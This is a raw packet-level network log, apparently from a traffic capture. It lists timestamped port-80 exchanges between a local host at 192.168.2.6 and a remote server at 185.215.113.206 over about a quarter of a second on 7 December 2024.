Dec 7, 2024 22:40:42.884774923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.884884119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.884929895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.885682106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.885730982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.885832071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.885880947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.886658907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.886704922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.886761904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.886810064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.887646914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.887731075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.887778997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.887823105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.888513088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.888561010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.888665915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.888715982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.889503956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.889552116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.889590979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.889633894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.890434027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.890482903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.890523911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.890568018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.891422033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.891479969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.891501904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.891546965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.892288923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.892334938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.892405033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.892453909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.893244982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.893299103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.893363953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.893408060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.894165993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.894217014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.894319057 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.894367933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.895127058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.895176888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.895246029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.895292044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.896070004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.896121979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.896192074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.896236897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.897010088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.897058010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.897125006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.897169113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.897967100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.898010015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.898087978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.898133993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.898881912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.898942947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.898989916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.899044037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.899903059 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.899955034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.900018930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.900067091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.900763035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.900809050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.900883913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.900927067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.901729107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.901776075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.901839018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.901884079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.902676105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.902725935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.902766943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.902808905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.903721094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.903769016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.903783083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.903820038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.904625893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.904675007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.904720068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.904764891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.905507088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.905565023 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.905611992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.905653954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.906459093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.906510115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.906570911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.906616926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.907409906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.907480955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.907495975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.907541037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.908333063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.908382893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.908444881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.908493042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.909274101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.909324884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.909380913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.909425020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.910238028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.910286903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.910326958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.910368919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.911199093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.911254883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.911297083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.911355019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.912141085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.912192106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.912266016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.912307978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.913048029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.913098097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.913170099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.913213968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.913991928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.914043903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.914103031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.914141893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.914937973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.914988995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.915030003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.915072918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.915874004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.915920973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.001195908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.001306057 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.001321077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.001352072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.001647949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.001703024 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.001754999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.001792908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.002584934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.002639055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.002686977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.002728939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.003587008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.003638029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.003701925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.003752947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.004472971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.004525900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.004565954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.004611969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.005415916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.005462885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.005527020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.005573034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.006412983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.006459951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.006506920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.006547928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.007299900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.007349968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.007392883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.007441998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.008264065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.008322001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.008366108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.008403063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.009212971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.009277105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.009335995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.009377956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.010143042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.010199070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.010282993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.010323048 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.011095047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.011137962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.011146069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.011178017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.068101883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.068121910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.068250895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.068550110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.068605900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.068662882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.068711996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.069569111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.069623947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.069654942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.069700003 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.070409060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.070460081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.070496082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.070538998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.071348906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.071403027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.071423054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.071465969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.072272062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.072321892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.072351933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.072393894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.073206902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.073265076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.073298931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.073340893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.074161053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.074219942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.074246883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.074289083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.075125933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.075186014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.075263977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.075309992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.076030016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.076082945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.076122046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.076167107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.077028036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.077081919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.077116013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.077157974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.077931881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.077986002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.078044891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.078094006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.078876972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.078939915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.078979015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.079025030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.079826117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.079885006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.079916954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.079956055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.080748081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.080809116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.080874920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.080924034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.081693888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.081746101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.081824064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.081866980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.082672119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.082726955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.082748890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.082796097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.083621025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.083682060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.083719969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.083767891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.084553957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.084638119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.084645987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.084681034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.085504055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.085556984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.085588932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.085637093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.086482048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.086538076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.086546898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.086575985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.087366104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.087416887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.087452888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.087496042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.088304996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.088355064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.088419914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.088468075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.089238882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.089283943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.089344025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.089389086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.090212107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.090266943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.090296984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.090339899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.091130972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.091181993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.091218948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.091264009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.092103958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.092156887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.092187881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.092232943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.093209028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.093280077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.093311071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.093355894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.094007015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.094067097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.094079018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.094119072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.094927073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.094981909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.095020056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.095072985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.095879078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.095952034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.095973969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.096020937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.096796036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.096857071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.096862078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.096899986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.097742081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.097814083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.097894907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.097949982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.098687887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.098747015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.098825932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.098861933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.099641085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.099690914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.099733114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.099777937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.100598097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.100644112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.100677013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.100728035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.101517916 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.101567030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.101604939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.101651907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.102480888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.102528095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.102619886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.102664948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.103434086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.103482008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.103512049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.103552103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.104383945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.104430914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.104484081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.104531050 CET	49790	80	192.168.2.6	185.215.113.206
